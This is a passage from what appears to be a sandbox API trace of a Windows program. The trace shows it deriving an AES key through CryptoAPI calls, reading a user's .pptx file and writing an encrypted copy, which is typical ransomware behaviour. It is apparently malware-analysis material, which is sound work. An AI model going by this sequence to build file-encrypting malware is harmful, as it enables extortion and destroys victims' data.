lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.892] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.892] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.892] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.892] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.892] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.892] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.892] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.892] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.892] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b4b0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.892] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.892] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.893] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.893] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.893] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0025.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.893] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.893] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.893] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.893] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0025.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.894] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.894] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.894] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.894] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.894] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\XfT-x_yFlDeI9HE.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\xft-x_yfldei9he.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.895] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.895] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.895] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.895] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.895] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.896] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0025.896] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\XfT-x_yFlDeI9HE.encrypted.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\xft-x_yfldei9he.encrypted.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.896] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.896] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.896] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.896] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.898] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.898] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x1bf7, lpOverlapped=0x0) returned 1 [0025.898] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.899] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.900] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.900] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.900] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.900] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.900] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.900] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.900] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.900] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.901] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.901] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.901] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.901] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.901] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.901] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064b90, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b90*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.901] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.901] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.901] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.901] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.902] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.902] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.902] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.902] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.902] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.902] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1bf7, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1c00) returned 1 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.902] CharLowerBuffW (in: lpsz="byte[7169]", cchLength=0xa | out: lpsz="byte[7169]") returned 0xa [0025.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.903] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.903] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.903] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4194750*, pdwDataLen=0xe8f3dfdf68*=0x1bf7, dwBufLen=0x1c00 | out: pbData=0xe8f4194750*, pdwDataLen=0xe8f3dfdf68*=0x1c00) returned 1 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.903] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.903] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.903] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.904] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.904] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.904] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.904] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.904] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.904] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.904] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0025.904] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.904] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.904] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.904] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.904] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.904] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.904] PeekMessageW (in: 